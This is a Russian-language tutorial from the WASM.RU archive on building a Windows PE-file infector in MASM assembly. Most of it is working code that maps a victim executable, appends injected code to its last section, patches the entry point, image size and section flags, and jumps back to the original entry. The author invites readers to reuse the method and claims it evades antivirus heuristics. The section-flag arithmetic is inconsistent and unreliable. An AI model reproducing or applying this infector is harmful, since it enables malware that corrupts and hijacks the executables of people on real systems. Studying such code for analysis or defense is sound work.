Инфектор PE-файлов

Дата публикации 10 мар 2005

Инфектор PE-файлов — Архив WASM.RU

Введение

Добрый вечер дамы и господа! Если вы читаете этот документ, то вы наверное прочитали знакомые слова в названии статьи или вы новичок и хотите узнать больше о компьютерной вирусологии. А может Вы просто щелкнули на ссылку в броузере из-за любопытства. Ну ладно, не будет превращать эту статью в низкосортное литературное произведение, и перейдем ближе к делу. В этой статье мы напишем инфектор-PE файлов. Эта статья описывает: во-первых, как заражать исполняемые файлы(PE - Portable Executable) в операционной системе Windows, во-вторых, процесс создания Windows-приложений на ассемблере, в-третьих, некоторые системные механизмы ОС семейства Windows. Эта статья не претендует на оригинальность, а просто, возможно, добавит Вам некоторые новые знания в области операционных систем Windows. Мы создадим пользовательский интерфейс для нашего инфектора, и опишем действия которые нужны для заражения PE-файлов. Инфектор, возможно, не учитывает всех тонкостей, но этот материал даст Вам пищу для размышлений.

Способ заражения

Заражать файл мы будем с помощью метода добавления кода в последнюю секцию. Это не оригинальный способ, но он реально работает, и Вы можете его использовать в своих работах, несколько модифицировав. Как Вы знаете, в PE-файле есть секции, которые содержат материал для приложения, т.е. код, данные, ресурсы, информация для отладчика, информация о базовых поправках, таблица импорта/экспорта и т.д. Принципиально секции различаются по атрибутам. Т.е. например секция .text(для компиляторов от Microsoft), которая содержит код для исполнения приложением, имеет атрибуты: Code, Executable, Readable. Так же и все остальные секции. Секции которые содержаться в PE-файле описываются в таблице секций. Это массив структур, в которых содержится вся необходимая информация о секции. Это кратко о секциях. Мы просто ищем в таблице секций максимальное смещение секции в файле(!). В конец этой секции мы записываем наш код, а также с учетом файлового смещения(File Alignment) забиваем нулями остальное место. После того как наш код вставлен необходимо модифицировать таблицу секций, а также сам заголовок PE-файла(PE header). Вот действия по шагам, которые Вам надо сделать, чтобы заразить PE-файл:

  1. Находим последнюю секцию виртуально и физически.
  2. Проверка, не равен ли размер последней секции нулю.
  3. Если нет, то записываем в конец секции код вируса.
  4. Выравниваем новую секцию с учетом файлового выравнивания.
  5. Правим виртуальный и физический размеры секций.
  6. Правим точку входа.
  7. Правим размер образа - ImageSize=VirtualSize+VirtualAddress
  8. Правим - характеристики - на 0А0000020h

Чтобы что-то записывать в исполняемый файл я буду использовать файловую проекцию(FileMapping). File Mapping - это механизм позволяющий работать с файлом как будто он находиться в оперативной памяти. Мы записываем данные в память, а на самом деле мы записываем их в файл. Этот механизм достаточно широко используется при программировании приложений для Windows, а также его использует сама ОС, например при запуске исполняемого файла на выполнение (функцией CreateProcess(…)). Файловый мэппинг используется как механизм для связи между процессами, если создать общий раздел памяти.

Обеспечиваем доступ к данным в файле

Давайте же приступим, наконец, к кодированию. У нас есть файл PE-формата. И Вы, естественно, должны знать структуру PE-файла. Вкратце рассмотрим этот формат. Вот его общая структура (взята из книги Мета Питрека "Секреты системного программирования для Windows 95"):

Исчерпывающие определения структур вы найдете в файле WINNT.H. Названия структур в WINNT.H, которые соответствуют структурам PE-файла:

IMAGE_DOS_HEADER - DOS .EXE header
IMAGE_FILE_HEADER - файловый заголовок
IMAGE_OPTIONAL_HEADER - опциональный заголовок. Опциональным называется потому, что при создании PE-формата разработчики предполагали, что структура этого заголовка будет варьироваться от разных реализаций. "Опциональный" не означает, что он может быть, а может и не быть, как считают некоторые.
IMAGE_SECTION_HEADER - элемент, в таблице секций который, описывает каждую секцию в исполняемом файле.
Если Вас интересуют какие-то поля, то смотрите их в заголовочном файле WINNT.H.
Для заражения мы проецируем файл-жертву в память с помощью моей любимой функции CreateFileMapping:

Код (Text):
  1.  
  2. invoke CreateFile,ofn1.lpstrFile,GENERIC_READ or GENERIC_WRITE, \
  3.        FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
  4. ;открываем файл для проецирования
  5. ;с помощью функции CreateFile указываем на каком носителе находиться файл
  6. .IF eax==INVALID_HANDLE_VALUE ;если файла нет, то выходим
  7. jmp error
  8. .ENDIF
  9. mov hFileTo,eax;хэндл файла в hFileTo
  10. invoke GetFileSize,hFileTo,NULL;получить размер exe файла
  11. mov edi,eax
  12. invoke GetFileSize,hFileFrom,NULL
  13.           ;получить размер файла, где находиться код для заражения
  14. add eax,7;7 байт занимает код для восстановления в точку входа
  15. mov ecx,eax;код далее высчитывает размер нового файла с учетом размера
  16.            ;внедряемого кода и файлового выравнивания
  17. mov ebx,4096
  18. dec ebx
  19. add ecx,ebx
  20. not ebx
  21. and ecx,ebx;
  22. add edi,ecx;в еcx теперь размер файла с учетом вставки нового кода
  23. ;формула для вычисления размера с учетом выравнивания
  24. ; (x+(y-1))&(~(y-1)), где x -;размер без выравнивания,
  25. ; y - выравнивающий фактор
  26. invoke CreateFileMapping,hFileTo,NULL,PAGE_READWRITE,0,edi,NULL
  27.                ;создаем проекцию файла для чтения и записи
  28. .IF eax==NULL
  29.     jmp error
  30. .ENDIF
  31. mov hFileMappingTo,eax
  32. invoke MapViewOfFile,hFileMappingTo,FILE_MAP_WRITE,0,0,0
  33.     ;передаем физическую
  34.     ;память для данного файла в память
  35. .IF eax==NULL
  36.     jmp error
  37. .ENDIF
  38. mov hMappingTo,eax
  39. ;адрес в адресном пространстве текущего процесс для
  40. ;спроецируемого файла в hMappingTo

Здесь надо немного пояснить код, если Вы вдруг чего-нибудь не поняли. С проецированием должно быть все понятно. Важно учитывать, что инфектор должен восстанавливать точку входа, т.е. после выполнения Вашего внедренного кода, код должен прыгнуть на нормальную точку входа программы. 7 байт занимает этот прыжок. Расширение последней секции происходит, учитывая файловое выравнивание. Формула для быстрого подсчета размера с учетом выравнивания дана в комментариях к коду. Например, у Вас есть значение 1322, а выравнивающий фактор 400, то выровненное значение будет равно 1600. При передаче физической памяти, передаем весь файл полностью. После этого кода, по адресу обозначенному меткой hMappingTo будет находиться виртуальный адрес начала exe-файла-жертвы. Файл, откуда берется код для заражения также проецируется, но вы могли взять данные для заражения каким-либо другим способом. Это же относиться и к файлу-жертве.

Путешествуем по PE файлу и вылавливаем нужные для нас данные

Здесь мы будем вылавливать данные из файлового и опционального заголовка, нужные нам для заражения. Вот что нам необходимо: количество секций, адрес точки входа, выравнивающий фактор, адрес размера образа, база образа, точка входа, указатель на характеристики секции, указатель на характеристики последней секции, размеры(!) секции. Если вы видите, что лишняя переменная выделена, например адрес точки входа и точка входа, то это было сделано сознательно для более лучшего усвоения материала, более четкой структурированности. Естественно, Вы можете улучшить этот код, оптимизируя его или подстраивая его под свои требования. После получения нужных данных проходим по таблице секций и ищем секцию с максимальным физическим смещением в файле(!).

Код (Text):
  1.  
  2. ;------------------------Работа с PE-заголовком------------
  3. ;-получаем количество секций и проходим до опционального заголовка-
  4. mov edi,hMappingTo
  5. assume edi:ptr IMAGE_DOS_HEADER
  6. add edi,[edi].e_lfanew;в edi - PE заголовок
  7. add edi,4;в edi - адрес файлового заголовка
  8. assume edi:ptr IMAGE_FILE_HEADER
  9. push [edi].NumberOfSections
  10. pop NumberOfSections
  11. add edi,sizeof IMAGE_FILE_HEADER ;в edi - адрес опционального
  12.                                  ; заголовка
  13. assume edi:ptr IMAGE_OPTIONAL_HEADER
  14. ;-----получаем VA точки входа чтобы потом ее перебить
  15. mov EntryPoint,edi
  16. add EntryPoint,16
  17. ;-----получаем выравнивание секций
  18. push [edi].FileAlignment
  19. pop FileAlignment
  20. ;-----получаем адрес ImageSize
  21. mov pImageSize,edi
  22. add pImageSize,56
  23. ;-----получаем базу PE-файла
  24. push [edi].ImageBase
  25. pop Base
  26. ;-----получаем точку входа
  27. push [edi].AddressOfEntryPoint
  28. pop Point
  29. ;-----переходим в таблицу секций и ищем последнюю секцию
  30. add edi,sizeof IMAGE_OPTIONAL_HEADER;в edi - адрес таблицы секций
  31. assume edi:ptr IMAGE_SECTION_HEADER
  32. mov MaxOffset,0
  33. xor ecx,ecx
  34. mov cx,NumberOfSections
  35. .WHILE ecx>0 ;цикл поиска смещения в файле последней секции.
  36.              ;на выходе в MaxOffset - смещение относительно
  37.              ;начала файла последней секции
  38. mov eax,MaxOffset
  39. .IF [edi].PointerToRawData>eax ;если размер этой секции
  40.                                ;больше предыдущего, то…
  41.     push [edi].PointerToRawData
  42.     pop MaxOffset;смещение в файле
  43.     push [edi].SizeOfRawData
  44.     pop SizeOfLastSection;размер последней секции
  45.     mov pSizeOfLastSection,edi 
  46.     add pSizeOfLastSection,16;указатель на характеристики
  47.     mov pVSizeOfLastSection,edi
  48.     add pVSizeOfLastSection,8;указатель на виртуальный размер
  49.     mov eax,[edi].VirtualAddress
  50.     mov esi,[edi].SizeOfRawData
  51.     add eax,esi;в eax размер секции с учетом выравнивания
  52.     mov SizeOfRawData,eax
  53.     mov eax,[edi].VirtualAddress;виртуальный адрес  в eax
  54.     mov VirtualAdd,eax
  55.     mov pCharacters,edi
  56.     add pCharacters,36;адрес характеристик последней секции
  57. .ENDIF
  58. add edi,sizeof IMAGE_SECTION_HEADER;в edi - адрес следующей секции
  59. dec ecx
  60. .ENDW
  61. ;------------------------End Работа с PE-заголовком------------
  62. mov edi,pSizeOfLastSection ; проверяем, не нулевая ли
  63.                            ; последняя секция?
  64. mov eax,dword ptr [edi]; размер секции  в eax
  65. .IF eax==0
  66.     invoke MessageBox,0,offset SectionError,offset ErrorTitle,0
  67. .ENDIF

В таблице секций, VirtualSize соответствует размеру секции без выравнивания, а SizeOfRawData с учетом файлового выравнивания. По-моему, название VirtualSize выбрано не очень подходящее. На выходе из этого кода в MaxOffset получаем смещение последней секции.

Внедряем код

Код мы будем внедрять из области памяти в которую был спроецирован файл с данными. Команды для внедрения Вы должны сформировать самостоятельно в шелл-код стиле. Сразу после окончания Вашего кода инфектор добавляет инструкцию перехода на нормальную точку входа программы. Эта инструкция занимает 7 байт памяти. Запись кода производиться не с конца кода последней секции, а со смещения кратного файловому смещению. Этим ходом мы и обманываем современные антивирусы и соответственно их эвристические анализаторы. Для Вас задание: сделать этот код в 2 раза короче. Это возможно.

Код (Text):
  1.  
  2. ;----------------внедряем код---------------
  3. cld
  4. mov edi,hMappingTo
  5. mov eax,MaxOffset
  6. add eax,SizeOfLastSection
  7. add edi,eax;в edi - конец последней секции,
  8.            ; т.е адрес с которого начинать запись
  9. mov esi,hMappingFrom; в hMappingFrom - адрес
  10.                     ; кода который нужно записать
  11. invoke GetFileSize,hFileFrom,NULL
  12. mov ecx,eax
  13. rep movsb;внедряем код
  14. mov esi,offset code
  15. mov eax,dword ptr [esi]
  16. mov dword ptr [edi],eax
  17. inc esi
  18. inc edi
  19. mov eax,Base
  20. add eax,Point
  21. mov dword ptr [edi],eax
  22. add edi,4
  23. add esi,4
  24. mov eax,dword ptr [esi]
  25. mov dword ptr [edi],eax
  26. inc edi
  27. inc esi
  28. mov eax,dword ptr [esi]
  29. mov dword ptr [edi],eax
  30. inc edi
  31. inc esi
  32. mov eax,dword ptr [esi]
  33. mov dword ptr [edi],eax

Далее заполняем нулями оставшуюся часть памяти, учитывая опять же смещение:

Код (Text):
  1.  
  2. ;--это типа для заполнения нулями оставшейся части
  3. ;--для учета FileAlignment----
  4. invoke GetFileSize,hFileFrom,NULL
  5. add eax,7
  6. mov ecx,eax
  7. mov ebx,FileAlignment
  8. dec ebx
  9. add ecx,ebx
  10. not ebx
  11. and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
  12. mov esi,edi
  13. add edi,ecx
  14. sub edi,eax
  15. .WHILE 1
  16.     mov byte ptr [esi],0
  17.     inc esi
  18.     .IF esi==edi
  19.         .BREAK
  20.     .ENDIF
  21. .ENDW

Вот и все код внедрен, осталось поправить некоторые значения в PE-файле.

Код (Text):
  1.  
  2. ;-----записываем новый размер последней секции
  3. mov eax,MaxOffset
  4. add eax,hMappingTo
  5. sub edi,eax
  6. mov esi,pSizeOfLastSection
  7. mov [esi],edi;записываем новый размер секции в
  8.              ;таблицу секций
  9. mov esi,pVSizeOfLastSection
  10. mov ecx,[esi]
  11. mov ebx,FileAlignment
  12. dec ebx
  13. add ecx,ebx
  14. not ebx
  15. and ecx,ebx;ecx=(x+(y-1))&(~(y-1))
  16. mov dword ptr [esi],ecx
  17. invoke GetFileSize,hFileFrom,NULL;виртуальный размер
  18.          ; - размер секции без файлового выравнивания
  19. add eax,7
  20. add [esi],eax;записывает виртуальный размер секции
  21. mov eax,dword ptr [esi]
  22. push eax
  23. mov esi,EntryPoint
  24. mov eax,SizeOfRawData
  25. mov [esi],eax;меняем точку входа
  26. pop eax
  27. mov esi,pImageSize
  28. mov edi,ImageSize
  29. add edi,eax
  30. mov [esi],edi;изменяем ImageSize
  31. mov esi,pCharacters
  32. mov dword ptr [esi],0A0000020h;правим характеристики
  33.                               ;секции

Все изменяемые поля тривиальны и говорят сами за себя, кроме Characteristics. Это атрибуты секций. Вот список возможных атрибутов:

#define IMAGE_SCN_CNT_CODE 0x00000020 // Секция содержит код
#define IMAGE_SCN_CNT_INITIALIZED_DATA 0x00000040 //Секция содержит инициализированные данные
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA 0x00000080 //Секция содержит //неинициализированные данные
#define IMAGE_SCN_LNK_NRELOC_OVFL 0x01000000 // Секция содержит расширенные поправки
#define IMAGE_SCN_MEM_DISCARDABLE 0x02000000 // Секция может быть игнорирована
#define IMAGE_SCN_MEM_NOT_CACHED 0x04000000 // Секция не кешируема
#define IMAGE_SCN_MEM_NOT_PAGED 0x08000000 //Секция не сбрасывается в страничный файл
#define IMAGE_SCN_MEM_SHARED 0x10000000 // Общая секция
#define IMAGE_SCN_MEM_EXECUTE 0x20000000 //Секция выполняемая
#define IMAGE_SCN_MEM_READ 0x40000000 // Секция для чтения
#define IMAGE_SCN_MEM_WRITE 0x80000000 //Секция для записи

Мы устанавливаем следующие атрибуты - Секция содержит код, для чтения и для записи:

Код (Text):
  1.  
  2. 0x00000020+
  3. 0x40000000+
  4. 0x80000000=
  5. 0xa0000020

Программа PeInfector (учебно-тестовая программа, демонстрирующая вышеописанные технологии

Здесь содержится полный код инфектора. Сначала создается окно. Когда окну посылается сообщение WM_CREATE, то на нем создается три кнопки и два edit-бокса. Программа использует директивы masm32 и соответственно предназначена для его компилятора.

Компиляция

Код (Text):
  1. \masm32\bin\ml.exe /c /coff work.asm
  2. \masm32\bin\link.exe  /SUBSYSTEM:WINDOWS work.obj
© Bill/TPOC 2005

0 1.875
archive

archive
New Member

Регистрация:
27 фев 2017
Публикаций:
532